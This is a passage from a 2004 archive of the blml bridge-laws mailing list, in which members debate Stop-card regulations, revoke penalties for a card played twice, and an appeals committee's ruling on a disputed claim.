contradiction. Although people talk about "the facts of the case". In my experience of rulings there are often disputes about lots of simple facts. How long was the hesitation? Was the bid clearly alerted? What was the exact explanation? What was the claim statement? Was there an interruption? And so on. The AC can just as easily make mistakes in ascertaining such facts as a TD. Arguably the AC has less chance of arriving at the truth about simple facts than the TD because people have had time before the appeal, to get their stories straight and to rehearse them. In the end, the AC naturally believe people that they trust -- so friends have an obvious advantage. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 From nigel.guthrie@ntlworld.com Fri Jan 30 16:56:37 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 30 Jan 2004 16:56:37 -0000 Subject: [blml] Stop Message-ID: <010101c3e752$0715a760$999468d5@tinyhrieuyik> Another mailing list is currently discussing Stop regulations. Under current rules, many can't (or can't be bothered) to estimate 10 seconds. Why not provide each table with an electronic timing mechanism -- or a simple hourglass (I mean *ten-second* glass). After you have jumped the bidding, you just turn over the glass. Your LHO must wait until the sand has run through before calling. I would prefer a regulation that specified a minimum pause before any call or play and a maximum time for the action itself; but that suggestion seems to attract only ridicule. You can police my desired outcome, however, with two such glasses stuck together, simultaneously turned over -- that time 7 seconds and 10 seconds, say. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 From ereppert@rochester.rr.com Fri Jan 30 17:14:16 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 30 Jan 2004 12:14:16 -0500 Subject: [blml] NOT News In-Reply-To: <401A1E29.4070204@hdw.be> Message-ID: On Friday, Jan 30, 2004, at 04:04 US/Eastern, Herman De Wael wrote: > Well Ed, you did say that the matter was trivial. I never used that word. > What did you mean at that time 12 tricks or 13? Since there was no "at that time" I don't know how to answer this. I'll take a stab by repeating something I said earlier: Given the actual claim statement, 13 tricks. > BTW, what do you mean now? Far too many negatives in the message below. I mean that your claim that I said that when declarer's claim statement consists solely of "I've got the clubs" I would award him 13 tricks is false. From ereppert@rochester.rr.com Fri Jan 30 17:25:54 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 30 Jan 2004 12:25:54 -0500 Subject: [blml] card played twice In-Reply-To: <401A801C.40908@hdw.be> Message-ID: <5BC893AE-5349-11D8-8C91-0030656F6826@rochester.rr.com> On Friday, Jan 30, 2004, at 11:02 US/Eastern, Herman De Wael wrote: > Martin ends his post with a reference to L64C, noticing there is no > need for a further rectification, since even a one-trick penalty > restores to 6 tricks. However, I have since heard back from my friend, > and it turns out he made only 4 tricks (AKQ of diamonds and CA), so a > 2-trick penalty restores to 6, and a one-trick penalty would leave > declarer with a trick short. In the latter case can you not assign an adjusted score IAW 64C? From mfrench1@san.rr.com Fri Jan 30 17:31:55 2004 From: mfrench1@san.rr.com (Marvin French) Date: Fri, 30 Jan 2004 09:31:55 -0800 Subject: [blml] Stop References: <010101c3e752$0715a760$999468d5@tinyhrieuyik> Message-ID: <000e01c3e756$f5f3b8a0$6401a8c0@san.rr.com> From: "Nigel Guthrie" > Another mailing list is currently discussing Stop regulations. > Under current rules, many can't (or can't be bothered) to > estimate 10 seconds. Why not provide each table with an > electronic timing mechanism -- or a simple hourglass (I mean > *ten-second* glass). After you have jumped the bidding, you > just turn over the glass. Your LHO must wait until the sand > has run through before calling. > > I would prefer a regulation that specified a minimum pause > before any call or play and a maximum time for the action > itself; but that suggestion seems to attract only ridicule. > You can police my desired outcome, however, with two such > glasses stuck together, simultaneously turned over -- that > time 7 seconds and 10 seconds, say. > The ACBL uses 10 seconds as the required wait over a skip bid, but I have never seen a 10-second wait by someone who has no problem. 10 seconds is a very long time. Typically a player will wait 10 seconds before passing when there is a problem, and a shorter time when there is none. You can't nail people who do this, so the system doesn't work. Also, tempo must be controlled in situations other than over a skip bid, so the system isn't sufficient without including that. Fast passes and fast doubles (except, perhaps, over a skip bid), and fast plays, are not being policed at all. Slowness that is not required is not being policed either. I would prefer doing away with time requirements, and just say that a player must act like there is a problem in any situation where there could likely be one. It is not merely a matter of time, but of hand-study. After all, that is what the Laws require. Before the Stop regulation, we could always tell whether a player had a problem or not, and that needed to be corrected. The cure was not to write a regulation, but to enforce the Laws. Marv Marvin L. French San Diego, California From svenpran@online.no Fri Jan 30 17:40:10 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 30 Jan 2004 18:40:10 +0100 Subject: [blml] Stop In-Reply-To: <010101c3e752$0715a760$999468d5@tinyhrieuyik> Message-ID: <000001c3e758$1c41d2c0$6900a8c0@WINXP> > Nigel Guthrie > Another mailing list is currently discussing Stop regulations. > Under current rules, many can't (or can't be bothered) to > estimate 10 seconds. Why not provide each table with an > electronic timing mechanism -- or a simple hourglass (I mean > *ten-second* glass). After you have jumped the bidding, you > just turn over the glass. Your LHO must wait until the sand > has run through before calling. > > I would prefer a regulation that specified a minimum pause > before any call or play and a maximum time for the action > itself; but that suggestion seems to attract only ridicule. > You can police my desired outcome, however, with two such > glasses stuck together, simultaneously turned over -- that > time 7 seconds and 10 seconds, say. We feel very comfortable with our current regulation: Whenever a player makes a skip bid (or some other call requiring "stop") he announces this by placing the STOP card on the table or by saying the word "STOP". His LHO must now wait until the stop card is taken back (or the word "continue" or other words to that effect is spoken) before making his call which then should come without any further delay. However, LHO is always entitled to a full ten second pause even if the stop card is taken back (or "continue" is announced) before this period has elapsed. LHO should not be burdened with keeping track of the ten seconds, his mind will usually be occupied with deciding what call to make. Regards Sven From svenpran@online.no Fri Jan 30 17:46:17 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 30 Jan 2004 18:46:17 +0100 Subject: [blml] card played twice In-Reply-To: <5BC893AE-5349-11D8-8C91-0030656F6826@rochester.rr.com> Message-ID: <000101c3e758$f7045360$6900a8c0@WINXP> Ed Reppert > > Martin ends his post with a reference to L64C, noticing there is no > > need for a further rectification, since even a one-trick penalty > > restores to 6 tricks. However, I have since heard back from my friend, > > and it turns out he made only 4 tricks (AKQ of diamonds and CA), so a > > 2-trick penalty restores to 6, and a one-trick penalty would leave > > declarer with a trick short. > > In the latter case can you not assign an adjusted score IAW 64C? No, read the last sentence in Law 67B1(b): It specifically says "the one-trick penalty of Law 64" it does not say "the penalties of Law 64". There may be a case for the application of Law 12A1 but I find even that rather doubtful, simply because of the precise wording in Law 67B1(b). Regards Sven From blml@blakjak.com Fri Jan 30 17:58:50 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jan 2004 17:58:50 +0000 Subject: [blml] Stop In-Reply-To: <000e01c3e756$f5f3b8a0$6401a8c0@san.rr.com> References: <010101c3e752$0715a760$999468d5@tinyhrieuyik> <000e01c3e756$f5f3b8a0$6401a8c0@san.rr.com> Message-ID: Marvin French wrote >The ACBL uses 10 seconds as the required wait over a skip bid, but I have >never seen a 10-second wait by someone who has no problem. 10 seconds is a >very long time. > >Typically a player will wait 10 seconds before passing when there is a >problem, and a shorter time when there is none. You can't nail people who do >this, so the system doesn't work. > >Also, tempo must be controlled in situations other than over a skip bid, so >the system isn't sufficient without including that. Fast passes and fast >doubles (except, perhaps, over a skip bid), and fast plays, are not being >policed at all. Slowness that is not required is not being policed either. > >I would prefer doing away with time requirements, and just say that a player >must act like there is a problem in any situation where there could likely be >one. It is not merely a matter of time, but of hand-study. After all, that is >what the Laws require. > >Before the Stop regulation, we could always tell whether a player had a >problem or not, and that needed to be corrected. The cure was not to write a >regulation, but to enforce the Laws. One thing Marv does not say though it is deducible is that it is to the player's advantage to follow the Stop regs if he wishes to play an ethical game. When he says no-one waits that long with no problem he is exaggerating: the number of people who do follow them, however small that number may be, has gained from the reg. Another two advantages of the method of letting opponents dictate the length of time are that [a] people are more likely to wait until the card disappears and [b] it is less clear what pausing an irregular length of time means. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Fri Jan 30 18:05:23 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 30 Jan 2004 13:05:23 -0500 Subject: [blml] Stop In-Reply-To: <010101c3e752$0715a760$999468d5@tinyhrieuyik> Message-ID: On Friday, Jan 30, 2004, at 11:56 US/Eastern, Nigel Guthrie wrote: > Another mailing list is currently discussing Stop regulations. > Under current rules, many can't (or can't be bothered) to > estimate 10 seconds. Why not provide each table with an > electronic timing mechanism -- or a simple hourglass (I mean > *ten-second* glass). After you have jumped the bidding, you > just turn over the glass. Your LHO must wait until the sand > has run through before calling. > > I would prefer a regulation that specified a minimum pause > before any call or play and a maximum time for the action > itself; but that suggestion seems to attract only ridicule. > You can police my desired outcome, however, with two such > glasses stuck together, simultaneously turned over -- that > time 7 seconds and 10 seconds, say. Interesting idea. At first glance, I like it. Hm. Wonder where I can get such timers? :-) From blml@blakjak.com Fri Jan 30 18:14:10 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jan 2004 18:14:10 +0000 Subject: [blml] Stop In-Reply-To: <000001c3e758$1c41d2c0$6900a8c0@WINXP> References: <010101c3e752$0715a760$999468d5@tinyhrieuyik> <000001c3e758$1c41d2c0$6900a8c0@WINXP> Message-ID: <15YyCxOy7pGAFw$N@blakjak.demon.co.uk> Sven Pran wrote >> Nigel Guthrie >> Another mailing list is currently discussing Stop regulations. >> Under current rules, many can't (or can't be bothered) to >> estimate 10 seconds. Why not provide each table with an >> electronic timing mechanism -- or a simple hourglass (I mean >> *ten-second* glass). After you have jumped the bidding, you >> just turn over the glass. Your LHO must wait until the sand >> has run through before calling. >> >> I would prefer a regulation that specified a minimum pause >> before any call or play and a maximum time for the action >> itself; but that suggestion seems to attract only ridicule. >> You can police my desired outcome, however, with two such >> glasses stuck together, simultaneously turned over -- that >> time 7 seconds and 10 seconds, say. > >We feel very comfortable with our current regulation: > >Whenever a player makes a skip bid (or some other call requiring "stop") he >announces this by placing the STOP card on the table or by saying the word >"STOP". > >His LHO must now wait until the stop card is taken back (or the word >"continue" or other words to that effect is spoken) before making his call >which then should come without any further delay. However, LHO is always >entitled to a full ten second pause even if the stop card is taken back (or >"continue" is announced) before this period has elapsed. > >LHO should not be burdened with keeping track of the ten seconds, his mind >will usually be occupied with deciding what call to make. On RGB we are trying to find out what calls require a 'stop' in Norway. Perhaps you could tell us? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Fri Jan 30 18:47:21 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 30 Jan 2004 13:47:21 -0500 Subject: [blml] card played twice In-Reply-To: <000101c3e758$f7045360$6900a8c0@WINXP> Message-ID: On Friday, Jan 30, 2004, at 12:46 US/Eastern, Sven Pran wrote: > No, read the last sentence in Law 67B1(b): It specifically says "the > one-trick penalty of Law 64" it does not say "the penalties of Law 64". Hmm. Okay. I guess. :-) > There may be a case for the application of Law 12A1 but I find even > that > rather doubtful, simply because of the precise wording in Law 67B1(b). I thought of 12A1, but rejected it in favor of 64C. OTOH, if 64C doesn't apply, I don't see how the wording of 67B1(b), precise or not, precludes 12A1. On another note, I'm not one to favor hitting players with procedural penalties just because I don't like what they did, but this particular irregularity seems very unusual, even strange, to me. I can't conceive of any legitimate or even excusable reason for a player to pick up a played card and put it back in his hand. So it seems to me that *regardless* of how we rule on the disposition of tricks, this offender is due a significant PP. From Laval_Dubreuil@uqss.uquebec.ca Fri Jan 30 18:55:26 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Fri, 30 Jan 2004 13:55:26 -0500 Subject: TR: [blml] Stop Message-ID: Marv wrote: I would prefer doing away with time requirements, and just say that a player must act like there is a problem in any situation where there could likely be one. It is not merely a matter of time, but of hand-study. After all, that is what the Laws require. Before the Stop regulation, we could always tell whether a player had a problem or not, and that needed to be corrected. The cure was not to write a regulation, but to enforce the Laws. ____________________________________________________________________________ __ I fully agree Marv, Every body knows that I hate this STOP regulation. I never use the STOP card and try to follow the Laws. I always hesitate about the same time after any skip bid and never had problems with that approach in ACBL tournaments. I do hate Stop regulation because many players (at different levels) use the Stop card only with light hands. A lot of them are sure that they can do this. The Stop is there to avoid UI but it creates a lot of UI. Laval Du Breuil Quebec City From svenpran@online.no Fri Jan 30 19:40:11 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 30 Jan 2004 20:40:11 +0100 Subject: [blml] Stop In-Reply-To: <15YyCxOy7pGAFw$N@blakjak.demon.co.uk> Message-ID: <000001c3e768$e04fff60$6900a8c0@WINXP> > David Stevenson > Sven Pran wrote .......... > On RGB we are trying to find out what calls require a 'stop' in > Norway. >=20 > Perhaps you could tell us? The following is my attempt to translate the current regulation on STOP = in Norway into English: General:=20 Stop is used to give opponents 10 seconds compulsory pause for thought = after a call which must be expected to cause need for thought. Pause for = thought is most common after skip bids (including opening bids on the two-level = or higher) and in competitive auctions from the three-level and higher. A stop-pause begins after opponents have received answers to possible questions on the call. The pause shall last approximately 10 seconds and it is the player who = has shown the stop card (or said the word "stop") who indicates end of the pause. Stop with compulsory pause for thought: A pause shall be signaled by using the stop card or by saying "stop" - After an opening bid at level two or higher - After all skip bids - After all calls except PASS in all competitive auctions from the level three and up. A player displaying the Stop card or saying "stop" forces his LHO to = delay his call until the stop card has been taken back or until for instance = the word "continue" is spoken. Under this rule LHO is always (in the above mentioned situations) = entitled to a 10 seconds pause whether the stop card is used or not. ...... (skipped some text of less importance) Competitive auction can be expected when both sides have called (except pass) on the two-level. If one side does not call (except pass) on the three level (or in a = complete round of calls) stop will not be used for the remainder of that auction until in case that side calls again anything else than pass. (NOTE in order to avoid any misunderstanding: The word "After" above = does not imply that the stop card is displayed after the call, it just refers = to the fact that the pause is subsequent to the call. Curiously the fact = that the stop card shall be shown (or the word "stop" be spoken) before the = call is no longer part of the regulation, this however, has no particular = effect as the stop pause is defined independently of stop being properly used.) I hope this covers your need for knowledge? Regards Sven From svenpran@online.no Fri Jan 30 19:48:34 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 30 Jan 2004 20:48:34 +0100 Subject: FW: [blml] card played twice Message-ID: <000201c3e76a$0b99bc00$6900a8c0@WINXP> My apologies to Ed who will get this twice, I hit "enter" before = changing the return address to "blml" (It would appear I can be absent-minded = myself) Ed Reppert ............ > On another note, I'm not one to favor hitting players with procedural > penalties just because I don't like what they did, but this particular > irregularity seems very unusual, even strange, to me. I can't conceive > of any legitimate or even excusable reason for a player to pick up a > played card and put it back in his hand. So it seems to me that > *regardless* of how we rule on the disposition of tricks, this = offender > is due a significant PP. Do you have the luck of never meeting an absent-minded player nor being absent-minded yourself? I agree that this is a rather unusual case, but = I wouldn't completely discard the possibility that it could happen inadvertently. Primarily this case called for my smile rather than for = my anger. Regards Sven From adam@irvine.com Fri Jan 30 20:09:39 2004 From: adam@irvine.com (Adam Beneschan) Date: Fri, 30 Jan 2004 12:09:39 -0800 Subject: [blml] card played twice In-Reply-To: Your message of "Fri, 30 Jan 2004 13:47:21 EST." Message-ID: <200401302009.MAA06884@mailhub.irvine.com> Ed wrote: > On Friday, Jan 30, 2004, at 12:46 US/Eastern, Sven Pran wrote: > > > No, read the last sentence in Law 67B1(b): It specifically says "the > > one-trick penalty of Law 64" it does not say "the penalties of Law 64". > > Hmm. Okay. I guess. :-) > > > There may be a case for the application of Law 12A1 but I find even > > that > > rather doubtful, simply because of the precise wording in Law 67B1(b). > > I thought of 12A1, but rejected it in favor of 64C. OTOH, if 64C > doesn't apply, I don't see how the wording of 67B1(b), precise or not, > precludes 12A1. > > On another note, I'm not one to favor hitting players with procedural > penalties just because I don't like what they did, but this particular > irregularity seems very unusual, even strange, to me. I can't conceive > of any legitimate or even excusable reason for a player to pick up a > played card and put it back in his hand. So it seems to me that > *regardless* of how we rule on the disposition of tricks, this offender > is due a significant PP. PP, shmee-pee. To me the question isn't how much of a PP we should give him---to me, the question is how much groveling is this offender going to have to do before we allow him to play in our tournaments again. (Then again, maybe I'm influenced by a bad childhood experience of playing "War" with a cousin and watching him play aces on about six consecutive plays, even though you're supposed to put the played cards at the bottom of your pile.) -- Adam From djok@onetel.net.uk Fri Jan 30 20:17:00 2004 From: djok@onetel.net.uk (Denis O'Kane) Date: Fri, 30 Jan 2004 20:17:00 -0000 Subject: [blml] help References: <20040130180102.4293.84891.Mailman@toybox.amsterdamned.org> Message-ID: <002101c3e76e$04d088a0$b0b32e0a@dan> help ----- Original Message ----- From: To: Sent: Friday, January 30, 2004 6:01 PM Subject: blml digest, Vol 1 #1323 - 12 msgs > Send blml mailing list submissions to > blml@rtflb.org > > To subscribe or unsubscribe via the World Wide Web, visit > http://www.amsterdamned.org/mailman/listinfo/blml > or, via email, send a message with subject or body 'help' to > blml-request@rtflb.org > > You can reach the person managing the list at > blml-admin@rtflb.org > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of blml digest..." > > > Today's Topics: > > 1. Re: NOT News (Herman De Wael) > 2. Re: NOT News (Herman De Wael) > 3. Re: NOT News (Herman De Wael) > 4. Re: card played twice (Herman De Wael) > 5. Re: NOT News (Nigel Guthrie) > 6. Stop (Nigel Guthrie) > 7. Re: NOT News (Ed Reppert) > 8. Re: card played twice (Ed Reppert) > 9. Re: Stop (Marvin French) > 10. RE: Stop (Sven Pran) > 11. RE: card played twice (Sven Pran) > 12. Re: Stop (David Stevenson) > > --__--__-- > > Message: 1 > Date: Fri, 30 Jan 2004 16:37:46 +0100 > From: Herman De Wael > To: blml > Subject: Re: [blml] NOT News > > No Tim, not at all. > > Tim West-Meads wrote: > >>Tim: > >> > >>>Well yes. But one rather assumes that when an AC is unanimous in > >>>finding there was a genuine interrupt of the claim the chances are > >>>pretty high that there was a genuine interrupt of the claim - so > >>>protect. > >> > >>1. Keep in mind that the original question was 'what do you think of > >>the AC decision' given the presented facts. For that question the AC > >>ruling itself is not part of the facts. Otherwise you end up saying the > >>AC is right because it is right. > > > > > > Look, if the AC was wrong in finding the claim to have been interrupted we > > are unanimous in awarding -1. But so what, we will never be in a position > > to establish whether they were right or wrong on this point. > > > > That far we agree totally. I have my doubts about this finding, but I > don't criticize it. We were not there. > > > The area of contention seems to be that some on this group wish to reward > > the premature interruption of the claim by ruling against claimer even > > though they accept that the claim was interrupted. > > > > I resent the word "reward". What I (and many with me) wish to see done > is justice. The claim (IMO) was bogus, and we should not punish > defenders with the granting of a bogus claim just because he claims to > have been interrupted. > What you are doing, Tim, is "reward" claimer. His claim was invalid, > whether interrupted or not. > > > -- > Herman DE WAEL > Antwerpen Belgium > http://www.hdw.be > > > > --__--__-- > > Message: 2 > Date: Fri, 30 Jan 2004 16:44:07 +0100 > From: Herman De Wael > To: blml > Subject: Re: [blml] NOT News > > second reply to second of Tim's paragraphs: > > Tim West-Meads wrote: > > >> > >>Of course the write-up is limited and a lot is left to the imagination. > >>In the end it boils down to deciding if claimer really wanted to make > >>this statement and was prevented from doing so by opps OR claimer during > >>the claim changed his mind probably caused by some kind of reaction to > >>his initial statement about clubs however that club thing was worded. > > > > > > No. It doesn't. If we accept that claimer *might* have made the actual > > statement had he not been interrupted we should not even contemplate > > ruling in favour of the procedure violating interruption. > > > > Of course we should contemplate it. If we accept that claimer could > have made that same statement at the time of his claim, we should > still contemplate ruling on that statement. If I make a faulty claim, > and you interrupt me, shall I go to the AC and say "I was interrupted, > please give me 13 tricks"? No, because the AC will tell me "what were > you about to say?" and then rule on that claim statement. > > So your reasoning is false if you believe that the decision as to > whether or not the claim statement was interrupted is the final > decision the AC has to make. They also have to decide if the claim > statement would make the claim valid. To me, it wouldn't, but your > view on that one may differ. I don't think it is important, since I > don't believe this claim statement was the one claimer actually wanted > to utter at the time of his interruption. > > > If we think that claimer was "trying it on" and hadn't intended to say any > > more at the time of the objection we would rule that no interruption had > > occurred and get the trivial "one off" ruling. > > > > I'm glad we agree on that point. Now please Tim, read the case again > and tell me whether you believe that claimer was going to utter this > precise statement (including the sentence about throwing a heart on > the fourth spade). > > > -- > Herman DE WAEL > Antwerpen Belgium > http://www.hdw.be > > > > --__--__-- > > Message: 3 > Date: Fri, 30 Jan 2004 16:52:24 +0100 > From: Herman De Wael > To: blml > Subject: Re: [blml] NOT News > > third reply to same post. > > Tim West-Meads wrote: > > >>gives up on clubs 3-3 altogether. So I tend not to believe this story > >>because it is sure that somewhere along the line he realised or knew the > >>clubs were not breaking. > > > > > > I'm not really interested in what the ruling should be if we disbelieve > > his story about being about being interrupted - the answer is obvious. > > The point of the debate is how we should rule the claim once we *accept* > > his "story" about being interrupted. > > > > No, about him being interrupted _AND_ his sentence being the one he > would have pronounced if he hadn't been interrupted. > > > > >>This can only come from the objection/interruption when he started his > >>claim by claiming the club suit. > > > > > > If he benefits from opponents interrupting so be it. It is their own > > fault and I'm not going to waste any sympathy on them. > > > > AS long as the benefit is one of doubt, then I agree. But in muy mind, > there is no doubt. And I am not going to have claimer benefit either. > > > > >>We seem to differ whether or not a valid objection (a club stop in this > >>case) to (part of) a claim is an interruption. I prefer to see this as > >>normal procedure (a valid objection to a misclaim) even if this > >>interrupts the claim. > > > > > > If an opponent interrupts and claimer (on resumption) is able to complete > > his sentence with a line leading to his required number of tricks then the > > claimer gets the benefit. Next time the opponent will be more careful. > > However if we give the benefit to the opponent then next time the opponent > > will interrupt more readily. For instance I now know that should either > > you or Herman be the TD I have a tremendous advantage in interrupting > > claims as early as possible just in case claimer has missed a technically > > superior (but failing) line. Not only that but you consider such > > interruptions legal! > > > > No we don't. And your argument does not hold water. This is a case > where the claimer was unable (through ignorance probably) to come up > with a claim statement that satisfies me. If this claimer had come to > my committee with the statement "look, I was about to say that I saw > no other line but to play spades 3-3, and I wanted to make a > conditional claim", I might have believed him (or maybe not even then > - it's still irrational to do so). > > So if you want to punish claim interrupters by ruling against them in > cases of doubt, then go ahead. But there is no need to punish claim > interruption by awarding 100% faulty claims. > > > -- > Herman DE WAEL > Antwerpen Belgium > http://www.hdw.be > > > > --__--__-- > > Message: 4 > Date: Fri, 30 Jan 2004 17:02:36 +0100 > From: Herman De Wael > To: blml > Subject: Re: [blml] card played twice > > Well done Sven, for spotting the problem! > > Sven Pran wrote: > > > There is a fallacy in this reasoning - see my comments below. > > > > > >>Sinot Martin writes > >> > >>>First, we notice that LHO in trick six (eight) played a card > >>>which already has been played. Therefore, trick six (eight) > >>>is now defective - that card is moved to trick four where it > >>>has been played first. At the moment where this is discovered, > >>>(L67) LHO must add a legal card in the defective trick (and > >>>show it). If he can play a diamond, there is no further penalty > >>>(but it does not change the owner of the trick); if he cannot > >>>play a diamond, he is subject to the "one trick penalty of L64". > > Martin ends his post with a reference to L64C, noticing there is no > need for a further rectification, since even a one-trick penalty > restores to 6 tricks. However, I have since heard back from my friend, > and it turns out he made only 4 tricks (AKQ of diamonds and CA), so a > 2-trick penalty restores to 6, and a one-trick penalty would leave > declarer with a trick short. > > > > > > > Assuming that the error is noticed and called attention to immediately when > > the DJ is played the second time the Director shall apply Law 67B1(a) and > > have the DJ restored to trick four (without changing the ownership of that > > trick). Thereafter the offender will play any card we cares (he is now out > > of diamonds) to trick six (eight) and there is no revoke, no penalty, no > > nothing. Declarer gets his 6 tricks. > > > > Let's drop this assumption - the error was not noticed when the DJ was > played, since that was merely the 13th diamond. Only declarer knew > something was wrong, but he wasn't certain what. The error could have > been noticed when the small diamond was played a second time, but > no-one did. By the time it was noticed (trick 12) it was to late to > apply L67B1(a). > > > > >>>Assuming the second is the case, > > > > > > How can the second be the case? The offender had his DJ to be restored to > > trick four! > > > > It is the case. > > > this line suggests that LHO loses > > > >>>one trick. However (is this it, Herman?) a close look at L64A2 > >>>(this must be the relevant law, > > > > > > We have no revoke since the offender could restore a diamond to trick four, > > so there is no case for Law 64. > > > > since LHO did not win the > > > >>>defective trick) reveals that it costs one trick if any are made, > >>>but it costs another trick if an additional trick has been made > >>>with a card that could legally have been played in the revoke > >>>trick. That, of course, is the case here - LHO made the diamond > >>>jack, which certainly could have been played in the defective > >>>trick. So this seems to suggest a two trick penalty. It seems > >>>that we have a conflict here: is it one or two tricks? > > > > > > In this case there is no room for any conflict, but if we change it slightly > > there appears to be one: > > > > If the DJ has been finally played the second time and attention to the > > situation is not called until the offender no longer has any diamonds then > > we must turn to Law 67B1(b) and rule an established revoke in trick four. > > > > That is indeed what we must do. > > > However, as Law 67B1(b) explicitly states that (only) the one-trick revoke > > penalty in Law 64 can be applied we are bound by that limitation. Without > > this limitation we would have had to rule an ordinary revoke case on trick > > four. > > > > And thus 4+1=5 tricks, one less than the absolute minimum available on > the hand. And no L64C either? > > > > >>>(Note that L64C at any rate does not apply; declarer gets at least > >>>one trick for a total of six, which is what he would have gained > >>>without the defective trick). > >> > >>I'm up for martin's interpretation. moving a card to the defective trick > >>4 creates the "2-trick if you win a D" scenario. he wins a D at trick, > >>say 9. 2 tricks. no 64C adjustment. Nice problem Herman. > > > > > > Don't overlook Law 67B1(b) being the primary law in this case. The way that > > law is spelled out I don't see how we can apply a two trick revoke penalty > > here. But as I have stated separately I cannot help wondering if this > > situation was intended by WBFLC; the question has never been answered in any > > of the WBFLC minutes I have available and law 67B1(b) is unchanged since > > 1987. > > > > > > In my opinion Law 67B1(b) ought to be rewritten with the last sentence > > reading: --- he may be subject to the revoke penalties of Law 64. > > > > Is this a case for Grattan's notebook? > > > > Certainly ! > > > Sven > > > > -- > Herman DE WAEL > Antwerpen Belgium > http://www.hdw.be > > > > --__--__-- > > Message: 5 > From: "Nigel Guthrie" > To: > Subject: Re: [blml] NOT News > Date: Fri, 30 Jan 2004 16:26:57 -0000 > > [Laurie Kelso] > > I was the DIC of the venue where this situation arose. > > Todd has surmised things pretty well. The claim occurred > > immediately after the CJ had been led and covered. The > > directing staff believed that declarer had precipitously > > claimed in the aftermath of the relief of a successful > > finesse, without necessarily realising there weren't 13 > > sure tricks. By the time floor director arrived at the > > table, things had progressed a bit further. East had in > > fact already exposed her hand and indicated that the clubs > > were not breaking and it was thus very apparent to > > everyone at the table that she held 3 spades. While > > declarer cannot be held accountable if one of the > > opponents decides to expose her hand, his subsequent > > clarification statement' was made within this context. > > Having attended the AC as an observer, I believe that > > E/W probably were very quick to contest Declarer's > > statement and probably did 'cut him off', however I am > > still not sure that he knew what he was doing when he > > made his initial (attempted) claim. > > [Nigel] > Thank you for confirming what Jaap, Herman, Konrad, Todd, > and I surmised. Did the AC try to establish whether the > claimer said "The clubs are good"? If the AC accepted > declarer's word that he said "I have the clubs", did the > AC ask him what he meant by it? Did he say he meant that > he had some high cards in clubs? In which case, why > single out clubs? Did the AC ask if he had modified his > claim statement in the light of what he could see in his > protesting opponents' hands? > > Or did the AC, (like David, Tim, John, and Ed) take the > view that other considerations are irrelevant because > once opponents protest, they put themselves irretrievably > in the wrong. The interruption means that declarer is free > to complete his claim statement in the light of any new > information he has acquired. Even if that entails a non- > sequitor to the opening sentence of the claim; or, in this > this case, an apparent contradiction. > > Although people talk about "the facts of the case". In my > experience of rulings there are often disputes about lots > of simple facts. How long was the hesitation? Was the bid > clearly alerted? What was the exact explanation? What was > the claim statement? Was there an interruption? And so on. > The AC can just as easily make mistakes in ascertaining such > facts as a TD. Arguably the AC has less chance of arriving > at the truth about simple facts than the TD because people > have had time before the appeal, to get their stories > straight and to rehearse them. In the end, the AC naturally > believe people that they trust -- so friends have an obvious > advantage. > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 > > > --__--__-- > > Message: 6 > From: "Nigel Guthrie" > To: > Date: Fri, 30 Jan 2004 16:56:37 -0000 > Subject: [blml] Stop > > Another mailing list is currently discussing Stop regulations. > Under current rules, many can't (or can't be bothered) to > estimate 10 seconds. Why not provide each table with an > electronic timing mechanism -- or a simple hourglass (I mean > *ten-second* glass). After you have jumped the bidding, you > just turn over the glass. Your LHO must wait until the sand > has run through before calling. > > I would prefer a regulation that specified a minimum pause > before any call or play and a maximum time for the action > itself; but that suggestion seems to attract only ridicule. > You can police my desired outcome, however, with two such > glasses stuck together, simultaneously turned over -- that > time 7 seconds and 10 seconds, say. > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 > > > --__--__-- > > Message: 7 > Date: Fri, 30 Jan 2004 12:14:16 -0500 > Subject: Re: [blml] NOT News > From: Ed Reppert > To: blml > > > On Friday, Jan 30, 2004, at 04:04 US/Eastern, Herman De Wael wrote: > > > Well Ed, you did say that the matter was trivial. > > I never used that word. > > > What did you mean at that time 12 tricks or 13? > > Since there was no "at that time" I don't know how to answer this. I'll > take a stab by repeating something I said earlier: Given the actual > claim statement, 13 tricks. > > > BTW, what do you mean now? Far too many negatives in the message below. > > I mean that your claim that I said that when declarer's claim statement > consists solely of "I've got the clubs" I would award him 13 tricks is > false. > > > > --__--__-- > > Message: 8 > Date: Fri, 30 Jan 2004 12:25:54 -0500 > Subject: Re: [blml] card played twice > From: Ed Reppert > To: blml > > > On Friday, Jan 30, 2004, at 11:02 US/Eastern, Herman De Wael wrote: > > > Martin ends his post with a reference to L64C, noticing there is no > > need for a further rectification, since even a one-trick penalty > > restores to 6 tricks. However, I have since heard back from my friend, > > and it turns out he made only 4 tricks (AKQ of diamonds and CA), so a > > 2-trick penalty restores to 6, and a one-trick penalty would leave > > declarer with a trick short. > > In the latter case can you not assign an adjusted score IAW 64C? > > > > --__--__-- > > Message: 9 > From: "Marvin French" > To: 